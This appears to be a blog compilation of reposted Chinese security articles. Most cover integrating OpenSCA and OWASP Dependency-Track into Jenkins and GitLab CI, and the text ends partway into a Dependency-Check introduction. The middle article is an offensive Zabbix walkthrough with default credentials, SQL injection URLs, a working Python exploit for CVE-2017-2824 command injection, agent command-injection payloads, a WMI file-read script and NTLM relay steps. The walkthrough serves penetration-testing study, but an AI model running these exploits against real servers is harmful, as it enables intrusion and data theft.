在Jenkins及GitlabCI中集成OpenSCA,轻松实现CI/CD开源风险治理

在Jenkins及GitlabCI中集成OpenSCA,轻松实现CI/CD开源风险治理

本文转自 OpenSCA社区 并作补充

插播:
OpenSCA-cli 现支持通过 homebrew 以及 winget 安装:

Mac/Linux

1
brew install opensca-cli

Windows

1
winget install opensca-cli

总有小伙伴问起如何在CI/CD中集成OpenSCA,文档它这不就来啦~

若您解锁了其他OpenSCA的用法,也欢迎向项目组来稿,将经验分享给社区的小伙伴们~

Jenkins

在 Jenkins 中集成 OpenSCA,需要在 Jenkins 构建机器中安装 OpenSCA-cli。OpenSCA-cli 支持主流的操作系统,包括 Windows、Linux、MacOS,亦可通过 Docker 镜像运行。

Freestyle Project

对于自由风格的项目,可以通过在构建步骤中添加 Execute shell 或 Execute Windows batch command 来执行 OpenSCA-cli。

以 Execute shell 为例:

image

1
2
3
4
5
6
# install opensca-cli
curl -sSL https://raw.githubusercontent.com/XmirrorSecurity/OpenSCA-cli/master/scripts/install.sh | sh
# export opensca-cli to PATH
export PATH=/var/jenkins_home/.config/opensca-cli:$PATH
# run opensca scan and generate reports(replace {put_your_token_here} with your token)
opensca-cli -path $WORKSPACE -token {put_your_token_here} -out $WORKSPACE/results/result.html,$WORKSPACE/results/result.dsdx.json
  • install.sh 会默认将 OpenSCA 安装在用户家目录 .config 目录下,请根据实际情况调整 PATH 环境变量或使用绝对路径。

Pipeline Project

对于流水线项目,可以通过在流水线脚本中添加 sh 或 bat 来执行 OpenSCA-cli。以 sh 为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pipeline {
agent any

stages {

stage('Build') {
steps {
// Get some code from a GitHub repository
// build it, test it, and archive the binaries.
}
}

stage('Security Scan') {
steps {
// install opensca-cli
sh "curl -sSL https://raw.githubusercontent.com/XmirrorSecurity/OpenSCA-cli/master/scripts/install.sh | sh"
// run opensca scan and generate reports(replace {put_your_token_here} with your token)
sh "/var/jenkins_home/.config/opensca-cli/opensca-cli -path $WORKSPACE -token {put_your_token_here} -out $WORKSPACE/results/result.html,$WORKSPACE/results/result.dsdx.json"
}
}
}

post {
always {
// do something post build
}
}
}

(可选) 添加构建后动作

在 Jenkins 中,可以通过 Post-build Actions 来实现保存制品、报告等操作,例如可以通过 Publish HTML reports 插件来保存并展示 OpenSCA-cli 生成的 HTML 报告。
*请注意,OpenSCA 生成的 HTML 报告需启用 JavaScript 才能正常显示。这需要修改 Jenkins 的安全策略,具体操作请参考 Jenkins 官方文档。这可能会导致 Jenkins 的安全性降低,因此请谨慎操作。

修改 Jenkins CSP

在 Jenkins 的 Manage Jenkins -> Script Console 中执行以下脚本:

1
System.setProperty("hudson.model.DirectoryBrowserSupport.CSP", "sandbox allow-scripts; default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval';")

执行完成后,需重启 Jenkins 服务。

确保您已经安装了 Publish HTML reports 插件,然后在 Jenkins 项目的 Post-build Actions 中添加 Publish HTML reports:

image

成功构建后,在 Jenkins Job 的 Dashboard 中,即可看到 OpenSCA-cli 生成的 HTML 报告

Pipeline Script 示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
post {
always {
// do something post build
publishHTML(
[
allowMissing: false,
alwaysLinkToLastBuild: true,
keepAll: true,
reportDir: 'results',
reportFiles: 'result.html',
reportName: 'OpenSCA Report',
reportTitles: 'OpenSCA Report',
useWrapperFileDirectly: true
]
)
}
}

GitLab CI

在 GitLab CI 中集成 OpenSCA,需要在 GitLab Runner 中安装 OpenSCA-cli。OpenSCA-cli 支持主流的操作系统,包括 Windows、Linux、MacOS,亦可通过 Docker 镜像运行。

1
2
3
4
5
6
7
8
9
10
11
12
security-test-job:
stage: test
script:
- echo "do opensca scan..."
- curl -sSL https://raw.githubusercontent.com/XmirrorSecurity/OpenSCA-cli/master/scripts/install.sh | sh
- /root/.config/opensca-cli/opensca-cli -path $CI_PROJECT_DIR -token {put_your_token_here} -out $CI_PROJECT_DIR/results/result.html,$CI_PROJECT_DIR/results/result.dsdx.json
artifacts:
paths:
- results/
untracked: false
when: on_success
expire_in: 30 days

完整示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
stages:
- build
- test
- deploy

build-job:
stage: build
script:
- echo "Compiling the code..."
- echo "Compile complete."

unit-test-job:
stage: test
script:
- echo "do unit test..."
- sleep 10
- echo "Code coverage is 90%"

lint-test-job:
stage: test
script:
- echo "do lint test..."
- sleep 10
- echo "No lint issues found."

security-test-job:
stage: test
script:
- echo "do opensca scan..."
- curl -sSL https://raw.githubusercontent.com/XmirrorSecurity/OpenSCA-cli/master/scripts/install.sh | sh
- /root/.config/opensca-cli/opensca-cli -path $CI_PROJECT_DIR -token {put_your_token_here} -out $CI_PROJECT_DIR/results/result.html,$CI_PROJECT_DIR/results/result.dsdx.json
artifacts:
paths:
- results/
untracked: false
when: on_success
expire_in: 30 days

deploy-job:
stage: deploy
environment: production
script:
- echo "Deploying application..."
- echo "Application successfully deployed."

Zabbix 漏洞深入利用

Zabbix 漏洞深入利用

本文转自 Geekby 并作补充

1 前言

Zabbix 是一个基于 WEB 界面的提供分布式系统监视系统监视以及网络监视功能的企业级的开源解决方案,能监视各种网络参数,保证服务器系统服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位、解决存在的各种问题。

1.1 组件

Zabbix 监控系统由以下几个组件部分构成:

  • Zabbix Server

Zabbix Server 是所有配置、统计和操作数据的中央存储中心,也是 Zabbix 监控系统的告警中心。在监控的系统中出现任何异常,将被发出通知给管理员。Zabbix Server 的功能可分解成为三个不同的组件,分别为 Zabbix Server 服务、Web 后台及数据库。

  • Zabbix Proxy

Zabbix Proxy 是在大规模分布式监控场景中采用一种分担 Zabbix Server 压力的分层结构,其多用在跨机房、跨网络的环境中,Zabbix Proxy 可以代替 Zabbix Server 收集性能和可用性数据,然后把数据汇报给 Zabbix Server,并且在一定程度上分担了 Zabbix Server 的压力。

  • Zabbix Agent

Zabbix Agent 部署在被监控的目标机器上,以主动监控本地资源和应用程序(硬盘、内存、处理器统计信息等)。Zabbix Agent 收集本地的状态信息并将数据上报给 Zabbix Server 用于进一步处理。

1.2 网络架构

image

对于 Zabbix Agent 客户端来说,根据请求类型可分为被动模式及主动模式:

  • 被动模式:Server 向 Agent 的 10050 端口获取监控项数据,Agent 根据监控项收集本机数据并响应。
  • 主动模式:Agent 主动请求 Server (Proxy) 的 10051 端口获取监控项列表,并根据监控项收集本机数据提交给 Server (Proxy)

1.3 Zabbix Agent 配置

Zabbix Agent 服务的配置文件为 zabbix_agentd.conf,Linux 默认路径在 /etc/zabbix/zabbix_agentd.conf

image

配置文件中包含的一些基本设置选项:

  • Server 参数

Server 或 Proxy 的 IP、CIDR、域名等,Agent 仅接受来自 Server 参数的 IP 请求(白名单)。

  • ServerActive 参数

Server 或 Proxy 的 IP、CIDR、域名等,用于主动模式,Agent 主动向 ServerActive 参数的 IP 发送请求。

  • StartAgents 参数

zabbix 启动之后开启被动监控的进程数量,默认为3。如果设置为 0,那么 zabbix 被动监控被禁用,并且不会监听 10050 端口。

image

配置文件中包含的一些可能存在风险的设置选项:

  • Include 参数

加载配置文件目录单个文件或所有文件,通常包含的 conf 都是配置 UserParameter 自定义用户参数。

  • UserParameter 参数

自定义用户参数,格式为UserParameter=<key>,<command>,Server 可向 Agent 执行预设的自定义参数命令以获取监控数据,以官方示例为例:

1
UserParameter=ping[*],echo $1

当 Server 向 Agent 执行 ping[aaaa] 指令时,$1 为传参的值,Agent 经过拼接之后执行的命令为echo aaaa,最终执行结果为aaaa

command 存在命令拼接,但由于传参内容受 UnsafeUserParameters 参数限制,默认无法传参特殊符号,所以默认配置利用场景有限。

  • UnsafeUserParameters 参数

自定义用户参数是否允许传参任意字符,默认不允许字符 \ ' " `` * ? [ ] { } ~ $ ! & ; ( ) < > | # @,当 UnsafeUserParameters=1 时,允许特殊字符。

UserParameter=ping[*],echo $1 为例,向 Agent 执行指令 ping[test && whoami],经过命令拼接后最终执行 echo test && whoami,成功注入执行 shell 命令。

  • EnableRemoteCommands 参数

是否允许来自 Zabbix Server 的远程命令,开启后可通过 Server 下发 shell 脚本在 Agent 上执行。当值为 1 时,允许远程下发命令。

  • AllowRoot 参数

Linux 默认以低权限用户 zabbix 运行,开启后以 root 权限运行 zabbix_agentd 服务。当其值为 1 时,允许以 root 权限执行命令。

2 Zabbix 历史漏洞

2.1 弱口令

2.1.1 Web 端

Zabbix 安装后自带 Admin 管理员用户和 Guests 访客用户(低版本),可登陆 Zabbiax 后台。

常见弱口令组合:

  • admin:zabbix
  • Admin:zabbix
  • guset:空口令

2.1.2 mysql 端

由于 root 用户默认情况下无法外连,运维通常会新建 MySQL 用户 zabbix,常见密码如下:

1
2
3
4
5
6
123456
zabbix
zabbix123
zabbix1234
zabbix12345
zabbix123456

拿下 MySQL 数据库后,可解密 users 表的密码 md5 值,或者直接替换密码的 md5 为已知密码,即可登录 Zabbix Web。

2.2 CVE-2016-10134 - SQL 注入漏洞

该漏洞的具体分析可参考:zabbix SQL注入漏洞(CVE-2016-10134),原理是 insert 插入时未对用户输入的数据进行过滤,可以进行显错注入。

2.2.1 已有用户凭据

以 Guest 用户登录后,查看 Cookie 中的zbx_sessionid,复制后 16 位字符:

image

将这 16 个字符作为 sid 的值,访问 http://your-ip:8080/latest.php?output=ajax&sid=16位 ID&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0),可见成功注入:

image

2.2.2 无用户凭据

这个漏洞也可以通过 jsrpc.php 触发,且无需登录:http://IP:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

image

将用户密码 MD5 还原即可登录。漏洞利用脚本:zabbixPwn

2.3 CVE-2017-2824 - 命令注入

利用该漏洞,需要服务端开启了自动注册功能,所以我们先以管理员的身份开启自动注册功能。使用账号密码 admin/zabbix 登录后台,进入 Configuration->Actions,将 Event source 调整为 Auto registration,然后点击 Create action,创建一个 Action,名字随意:

image

第三个标签页,创建一个 Operation,type是 Add Host

image

保存。这样就开启了自动注册功能,攻击者可以将自己的服务器注册为 Agent。

第一条数据:

active checks是 Agent 主动检查时用于获取监控项列表的命令,Zabbix Server 在开启自动注册的情况下,通过 active checks 命令请求获取一个不存在的 host 时,自动注册机制会将 json 请求中的 host、ip 添加到 interface 数据表里。

1
{"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))

第二条数据:

1
{"request":"command","scriptid":1,"hostid":10001}

command 指令可以在未授权的情况下可指定主机 (hostid) 执行指定脚本 (scriptid),Zabbix 存在 3 个默认脚本,脚本中的 {HOST.CONN} 在脚本调用的时候会被替换成主机 IP。

1
2
3
# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
# scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1
# scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1

scriptid 指定其中任意一个,hostid 为注入恶意 Payload 后的主机 id,但自动注册后的 hostid 是未知的,所以通过 command 指令遍历 hostid 的方式都执行一遍,最后成功触发命令注入漏洞。

由于默认脚本的类型限制,脚本都是在 Zabbix Server 上运行,Zabbix Proxy 是无法使用 command 指令的。payload 长度受限制可拆分多次执行,必须更换 host 名称以执行新的payload。

EXP 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sys
import socket
import json
import sys


def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data


target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)

image

image

2.4 CVE-2020-11800 - 命令注入

该漏洞为基于 CVE-2017-2824 的绕过利用。未授权攻击者向 Zabbix Server 的 10051 端口发送 trapper 功能相关命令,利用漏洞即可在 Zabbix Server 上执行系统命令。

其中 CVE-2020-11800 漏洞通过 ipv6 格式绕过 ip 字段检测注入执行 shell 命令,受数据表字段限制 Payload 长度只能为 64 个字符

1
{"request":"active checks","host":"vulhub","ip":"ffff:::;whoami"}

由于 CVE-2017-2824 与 CVE-2020-11800 漏洞点及利用区别不大,不再复述。

3 Zabbix 后渗透测试

在拥有 Zabbix Server 权限后,如何利用当前权限进一步控制 Zabbix Agent?前文讲到,Zabbix Agent 的 10050 端口仅处理来自 Zabbix Server 或 Proxy 的请求,所以后续攻击都是依赖于 Zabbix Server 权限进行扩展。

在 zabbix 中,我们要监控的某一个指标,被称为“监控项”,就像我们的磁盘使用率,在 zabbix 中就可以被认为是一个“监控项”(item),如果要获取到“监控项”的相关信息,我们则要执行一个命令,但是我们不能直接调用命令,而是通过一个“别名”去调用命令,这个“命令别名”在 zabbix 中被称为“键”(key),所以在 zabbix 中,如果我们想要获取到一个“监控项”的值,则需要有对应的“键”,通过“键”能够调用相应的命令,获取到对应的监控信息。

在控制 Zabbix Server 权限的情况下可通过 zabbix_get 命令向 Agent 获取监控项数据,比如说获取 Agent 的系统内核信息:

image

关于监控项,可以参考:

Agent监控项较多不一一例举,可以参考:

1. Zabbix Agent监控项

2. Zabbix Agent Windows监控项

针对 item 监控项的攻击面进行挖掘,存在以下利用场景:

3.1 EnableRemoteCommands 参数远程命令执行

前文讲到,Agent 远程执行系统命令需要在 zabbix_agentd.conf 配置文件中开启 EnableRemoteCommands 参数。

在 Zabbix Web 上添加脚本,Execute on 选项可根据需求选择,选择 Zabbix server 不需要开启 EnableRemoteCommands 参数,所以一般控制 Zabbix Web 后可通过该方式在 Zabbix Server 上执行命令拿到服务器权限。

image

如果要指定某个主机执行该脚本,可从 Zabbix Web 的“监测中 -> 最新数据”功能中根据过滤条件找到想要执行脚本的主机,单击主机名即可在对应 Agent 上执行脚本。

image

如果类型是 Execute on Zabbix Agent ,Agent 配置文件在未开启 EnableRemoteCommands 参数的情况下会返回报错。

如果不想在 Zabbix Web 上留下太多日志痕迹,或者想批量控制 Agent,拿下 Zabbix Server 权限后可以通过 zabbix_get 命令向 Agent 执行监控项命令,在 Zabbix Web 执行脚本实际上等于执行 system.run 监控项命令

image

3.2 UserParameter 自定义参数命令注入

当 Zabbiax Agent 的 zabbix_agentd.conf 配置文件开启 UnsafeUserParameters 参数的情况下,传参值字符不受限制,只需要找到存在传参的自定义参数 UserParameter,就能达到命令注入的效果。

以下面配置为例:

image

1
zabbix_get -s agent -p 10050 -k "ping[test && id]"

image

3.3 任意文件读取

Zabbix Agent 如果没有配置不当的问题,是否有其他姿势可以利用呢?答案是肯定的。

Zabbix 原生监控项中,vfs.file.contents命令可以读取指定文件,但无法读取超过 64KB 的文件。

image

zabbix_agentd 服务默认以低权限用户 zabbix 运行,读取文件受 zabbix 用户权限限制。开启 AllowRoot 参数情况下 zabbix_agentd 服务会以 root 权限运行,利用 vfs.file.contents 命令就能任意文件读取。

如果文件超过 64KB 无法读取,在了解该文件字段格式的情况下可利用 vfs.file.regexp 命令正则获取关键内容。

3.4 Windows 目录遍历

Zabbix原生监控项中,wmi.get命令可以执行 WMI 查询并返回第一个对象,通过 WQL 语句可以查询许多机器信息。

如:WQL 查询盘符

1
zabbix_get -s agent -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM Win32_LogicalDisk\"]"

利用 wmi.get命令进行目录遍历、文件遍历,结合 vfs.file.contents 命令就能够在 Windows 下实现任意文件读取。

基于 zabbix_get 命令写了个 python 脚本,实现 Windows 的列目录、读文件功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import os
import sys

count = 0

def zabbix_exec(ip, command):
global count
count = count + 1
check = os.popen("./zabbix_get -s " + ip + " -k \"" + command + "\"").read()
if "Cannot obtain WMI information" not in check:
return check.strip()
else:
return False

def getpath(path):
return path.replace("\\","\\\\\\\\").replace("$","\\$")

def GetDisk(ip):
where = ""
while(True):
check_disk = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM Win32_LogicalDisk WHERE Name != '' " + where + "\\\"]")
if check_disk:
print(check_disk)
where = where + "AND Name != '" + check_disk+ "'"
else:
break

def GetDirs(ip, dir):
drive = dir[0:2]
path = dir[2:]

where = ""
while(True):
check_dir = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Caption FROM Win32_Directory WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
if check_dir:
print(check_dir)
where = where + "AND Caption != '" + getpath(check_dir) + "'"
else:
break

def GetFiles(ip, dir):
drive = dir[0:2]
path = dir[2:]

where = ""
while(True):
check_file = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM CIM_DataFile WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
if check_file:
if "Invalid item key format" in check_file:
continue
print(check_file)
where = where + "AND Name != '" + getpath(check_file) + "'"
else:
break

def Readfile(ip, file):
read = zabbix_exec(ip, "vfs.file.contents[" + file + "]")
print(read)

if __name__ == "__main__":
if len(sys.argv) == 2:
GetDisk(sys.argv[1])
elif sys.argv[2][-1] != "\\":
Readfile(sys.argv[1], sys.argv[2])
else:
GetDirs(sys.argv[1],sys.argv[2])
GetFiles(sys.argv[1],sys.argv[2])

print("Request count: " + str(count))

3.5 Windows UNC 路径利用

在 Windows Zabbix Agent 环境中,可以利用 vfs.file.contents 命令读取 UNC 路径,窃取 Zabbix Agent 机器的 Net-NTLM hash,从而进一步 Net-NTLM relay 攻击。

Window Zabbix Agent 默认安装成 Windows 服务,运行在 SYSTEM 权限下。在工作组环境中,system 用户的 Net-NTLM hash 为空,所以工作组环境无法利用。

在域内环境中,SYSTEM 用户即机器用户,如果是 Net-NTLM v1 的情况下,可以利用 Responder 工具获取 Net-NTLM v1 hash 并通过算法缺陷解密拿到 NTLM hash,配合资源约束委派获取域内机器用户权限,从而拿下 Agent 机器权限。

也可以配合 CVE-2019-1040 漏洞,relay 到 ldap 上配置基于资源的约束委派进而拿下 Agent 机器权限。(此处直接结果直接引用,未做实验)

image

image

3.6 Zabbix Proxy 和主动检查模式利用场景

通过 zabbix_get 工具执行监控项命令只适合 Agent 被动模式且 10050 端口可以通讯的场景

如果在 Zabbix Proxy 场景或 Agent 主动检查模式的情况下,Zabbix Server 无法直接与 Agent 10050 端口通讯,可以使用比较通用的办法,就是通过 Zabbix Web 添加监控项。

image

其它配置同理,在此不做赘述。

参考

Dependency Track BOM文件推送插件使用

Dependency Track BOM文件推送插件使用

本文转自 Yemoox 并作补充

一、干活啦,猪头

开源第三方扫描工具Dependency的免费版-Dependency Track,用户第三方组件的漏洞监控,只需要推送BOM文件,就可以自动创建项目,然后进行检查。但在Java项目里,只有pom.xml文件,如何把利用pom.xml快速的生成bom文件,则成了如何帅气使用dependency Track的重要问题。靠着孜(不)孜(要)不(脸)倦(屁)的精神,终于把这个问题搞定了。

二、配置pom.xml文件

首先获取pom.xml文件,用IDEA打开,并为这个文件单独创建项目。

image

此时需要进行dependency Track的插件配置,插件地址为:https://github.com/pmckeown/dependency-track-maven-plugin,这里进行插件配置。
在pom.xml文件中找到plugins插件配置位置,添加插件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<plugin>
<groupId>io.github.pmckeown</groupId>
<artifactId>dependency-track-maven-plugin</artifactId>
<version>1.0.0</version>
<configuration>
<dependencyTrackBaseUrl>dependencyTrack URL</dependencyTrackBaseUrl>
<apiKey>api_key</apiKey>
</configuration>
</plugin>


<plugin>
<groupId>org.cyclonedx</groupId>
<artifactId>cyclonedx-maven-plugin</artifactId>
<version>2.5.1</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>makeAggregateBom</goal>
</goals>
</execution>
</executions>
<configuration>
<projectType>library</projectType>
<schemaVersion>1.2</schemaVersion>
<includeBomSerialNumber>true</includeBomSerialNumber>
<includeCompileScope>true</includeCompileScope>
<includeProvidedScope>true</includeProvidedScope>
<includeRuntimeScope>true</includeRuntimeScope>
<includeSystemScope>true</includeSystemScope>
<includeTestScope>false</includeTestScope>
<includeLicenseText>false</includeLicenseText>
<outputFormat>all</outputFormat>
<outputName>bom</outputName>
</configuration>
</plugin>

在dependencyTrackBaseUrl条目中加入你的dependencyTrack地址,也就是你的访问URL,apikey条目中加入你的apikey,可在你的后台获取,注意这个apikey需要有添加权限,我这里直接给的最高的,避免出现未知情况。如果你的pom.xml文件中没有私有仓库地址,就可以运行命令进行生成bom文件,然后上传。

三、Maven私有仓库配置

因为演示的pom.xml中包含私有仓库,则需要对Maven进行私有仓库配置。如果你使用的是本地搭建的maven,则需要修改setting文件。如果是使用的是IDEA自带的Maven则需要改IDEA的maven配置。可以百度一下如何配置本地的maven私有库。

1
mvn org.cyclonedx:cyclonedx-maven-plugin:makeAggregateBom   

四、BOM文件生成与上传

现在已经在pom.xml中配置好了dependencyTrack插件,和maven私有仓库。则可以在pom.xml目录下,运行BOM生成命令。

1
mvn org.cyclonedx:cyclonedx-maven-plugin:makeAggregateBom   

此时在当前目录下已经生成target文件夹,以及该文件夹下的bom.xml文件,在运行上传命令,上传bom文件,上传成功后便可以去dependencyTrack查看项目了。

1
mvn dependency-track:upload-bom   

基于DependencyTrack实现第三方组件管理

基于DependencyTrack实现第三方组件管理

本文转自 Pamela@涂鸦智能安全实验室 并作补充

前言

在日常安全工作中,我们可能会经常遇到以下两个比较典型的场景:

场景1:如果某天某个第三方组件爆出了安全漏洞,那么如何在最短的时间里确认:

我们有这么多开发组,有没有哪个团队在用这个第三方组件?

用了这个第三方组件的团队,他们使用的组件的版本是否受此次漏洞影响?

场景2:各个团队当前使用的第三方组件的情况各不相同,从全局风险的角度来看,当前这些被使用的第三方组件的安全状况如何?例如:

是否有团队在使用含有已知安全漏洞的组件?

是否某个被使用的第三方组件已经过时?

是否某个或某些组件不合规或者存在风险?

基于以上场景,DependencyTrack应运而生。第三方组件管理在是开发安全中非常重要的一环,在上篇文章《浅谈软件成分分析(SCA)在企业开发安全建设中的落地思路》中,我们介绍过开源软件的风险以及在企业开发安全建设中的落地思路,并且在里面也有提到开源工具Dependency Track,不过只是简单提了一下,没有过多深入。而在这篇文章中,我们将重点介绍DependencyTrack的概念、以及使用。

Dependency Track

基本概念

Dependency-Track是OWASP推出的一个智能供应链组件分析平台,它集成了4种漏洞数据库:NPM Public Advisories、National Vulnerability Database、Sonartype OSS Index和VulnDB,帮助组织识别和减少使用第三方和开源组件的风险。

Dependency Track VS Dependency check

可能你听说过甚至用过开源社区OWASP出品的DependencyCheck这款开源工具来扫描软件中的第三方组件(也叫‘依赖’)的安全性,可是今天我们要讲的不是这个工具,而是另一款名字和它非常相似的工具:DependencyTrack,同样也是OWASP出品。

这两个工具就一字之差,DependencyCheck和DependencyTrack,都是做依赖安全检查的,有啥本质区别?简单讲,如果说DependencyCheck是给开发团队使用的工具,那么DependencyTrack更多的是给安全团队使用的工具。企业或者组织中的安全团队可以借助DependencyTrack实现第三方组件的统一安全管理。

image

通过以上的对比可以知道的是,这两个工具都可以检测出第三方组件的安全问题,不过本质区别在于,DependencyCheck只能对第三方组件做安全检测并生成报告,仅此而已。DependencyTrack会保存历次第三方组件安全检测结果,你可以通过Dashboard了解或者追踪第三方组件的安全变化趋势。与此同时,DependencyTrack还提供了很多额外的功能,例如漏洞通知、全局审查第三方组件、审计第三方组件软件授权协议、API等等。

检测原理

从下图中,可以看到Dependency Track通过接收到生成的Software BOM(软件物料清单),然后检查物料清单中的各个组件(以及当前清单中的版本)在漏洞数据库中是否存在已知安全漏洞的记录,并通过Dashboard展示出来。所以你需要先准备好一份SBOM清单,然后发送给Dependency Track,等待它完成扫描检测之后,然后在管理界面上查看结果。

image

你可能会问,SBOM是什么?SBOM(Software Bill of Material)翻译之后称为软件物料清单。通俗的解释就是我们用到的所有第三方组件依赖(包括第三方组件自己所依赖的其他第三方组件,换句话讲,依赖的依赖)的信息清单,这些内容包括author、group, licenses, versions and copyright等数据。

生成SBOM的工具有几个,其中比较有名的是CycloneDX。一旦我们有了BOM文件,我们就可以手动或通过整合CI/CD中的上传功能将其上传到Dependency-Track。Dependency track相当于一个漏洞库和分析引擎,它基于SBOM,在漏洞库中搜索,这样我们就可以获得比传统组件分析更完整、更复杂的信息。

核心架构

如图所示,Dpendency Track可以轻松集成到我们的CI/DC流程中。

image

Dependency Track默认集成了NVD、NPM Public Advisories、Sonatype OSS Index以及VulnDB 四个漏洞库,相比于其他开源检测工具单一的漏洞库,Dependency Track出现漏报或者误报的情况会小很多。同时它提供了强大的API集成功能(如openAPI和Jenkins的插件),在开发安全建设过程中我们可以将其整合到我们的pipeline中帮助DevOps团队提高开发流程速度,同时还能控制外部组件的使用和它们可能造成的风险。此外通过maven收集仓库中所有依赖包的信息,记录各个开发团队的应用程序所使用的各种第三方依赖信息,以便进行依赖包管理(版本控制、漏洞管理等)。在开发过程中可以基于soner bug追踪的组件安全跟踪,甚至fortify这样的代码白盒review介入,并通过邮件、钉钉告警通知安全团队、开发团队。

下面我们将通过简单的使用来感受一下。

基本使用

部署

DependencyCheck支持3种部署方式,分别是容器化部署、自运行安装包,以及可以直接在Tomcat里运行的WebApp包,此处以docker部署为例。

1
2
3
4
5
6
7
8
# 下载DependencyTrack镜像
docker pull owasp/dependency-track

# 创建并使用宿主机上的存储以避免数据丢失
docker volume create --name dependency-track

# 在8080端口上运行DependencyTrack,默认账户密码admin/admin
docker run -d -m 8192m -p 8080:8080 --name dependency-track -v dependency-track:/data owasp/dependency-track

更换默认数据库(可选)

1
2
3
4
5
6
7
#1.根路径新建dependency-track目录,然后在该目录下新建application.properties文件,在文件中填写下面配置
alpine.database.mode=external
alpine.database.url=jdbc:postgresql://localhost:5432/dtrack
alpine.database.driver=org.postgresql.Driver
alpine.database.username=dtrack
alpine.database.password=password
#2.使用命令docker-compose up重新启动一下,配置就生效了,启动时间可能略长。参考:<https://docs.dependencytrack.org/getting-started/database-support/>

这里输入账号和密码之后,会要求更改密码。正常输入账号密码之后就可以进入管理界面了,这里有一丢丢慢。。

image

进去之后,新建一个项目,如图所示:

image

接下来我们需要做的就是使用插件对代码项目生成bom.xml,类似pip request requirements,清点出使用的组件。Dependency track相当于一个漏洞库和分析引擎,这个方法好处就是只需要在客户端直接生成bom.xml,PUT track的REST接口即可。

总结起来分为两步:

  1. 生成bom.xml文件
  2. 将生成的bom.xml文件上传到Dependency-Track

有很多工具可以帮我们生成SBOM,例如CycloneDX Maven Plugin和cyclonedx-gradle-plugin,因为我采用Jenkins做构建工具,故此处使用OWASP Dependency-Track插件来生成SBOM。

首先,需要在jenkins中安装 OWASP Dependency-Track插件,搜索OWASP,第一个便是,选择安装即可。

image

安装成功后,我们需要新建一个job,点击进入配置里面,可以看到Publish BOM to Dependency-Track这一项,这个插件可以在执行一些操作后,将扫描出的三方依赖相关信息上传到Dependency-Track的服务里面,以便于分析。

接着在jenkins的job配置中做如下事情:

  1. 在源码管理模块配置拉取代码
  2. 在构建模块,选择Excute shell填写如下内容
1
2
3
4
# 打包
mvn clean install -D mvn.test.skip=true
# 生成bom.xml文件
mvn org.cyclonedx:cyclonedx-maven-plugin:makeBom
  1. 构建后在操作模块,选择Publish BOM to Dependency-Track,填写生成bom.xml的路径,具体如下

image

最后,在配置完成后构建job,构建完成后即可在Dependency-Track的web页面看到上传的结果,包括项目的组件,三方依赖的漏洞信息等等内容,然后可根据分析结果进行针对性修复。其他配置可参考https://docs.dependencytrack.org/

这里如果推送失败的话,可以试下这个脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
try {
$xml = Get-Content (Join-Path $PSScriptRoot ".\\bom.xml") –Raw
$ProjectGuid = "xxx"
$ApiKey = "xxx”
$Uri = "<http://localhost:8080>"

$Body = ([PSCustomObject] @{
project = $ProjectGuid
bom = ([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($xml)))
} | ConvertTo-Json)

$Header = @{ 'X-API-Key' = $ApiKey }

Invoke-RestMethod –Method Put –Uri "$Uri/api/v1/bom" –Headers $Header –ContentType "application/json" –Body $Body
}
catch {
Write-Host $_
}

卸载

docker rmi owasp/dependency-track
docker rm dependency-track
docker volume rm dependency-track:/data

Reference

docs.dependencytrack.org

https://zhuanlan.zhihu.com/p/269080779

https://mp.weixin.qq.com/s/_6G3gQHKoTmFKkdiE2gBLg

https://medium.com/devroot/deploying-dependency-track-as-a-container-in-azure-and-building-a-pipeline-with-azure-devops-ab1627961114

Dependency Check

Dependency Check

本文转自 icybersec 并作补充

https://github.com/jeremylong/DependencyCheck

简介

Dependency-Check 是一个开源的安全漏洞扫描工具,用于检查应用程序和依赖项中的已知漏洞。它可以扫描各种编程语言的依赖项,如Java、Python、.NET等,并根据公开的漏洞数据库,如NVD、OSV等,检查依赖项的版本是否存在已知的安全漏洞。

Dependency-Check 可以通过命令行或插件集成到各种构建工具中,如Maven、Gradle、Ant等。它会生成报告,显示已检测到的漏洞以及建议的修复措施。这些报告可以帮助开发人员识别和解决与应用程序或依赖项相关的安全问题,从而提高应用程序的安全性。

cli

dependency-check.sh支持的参数:

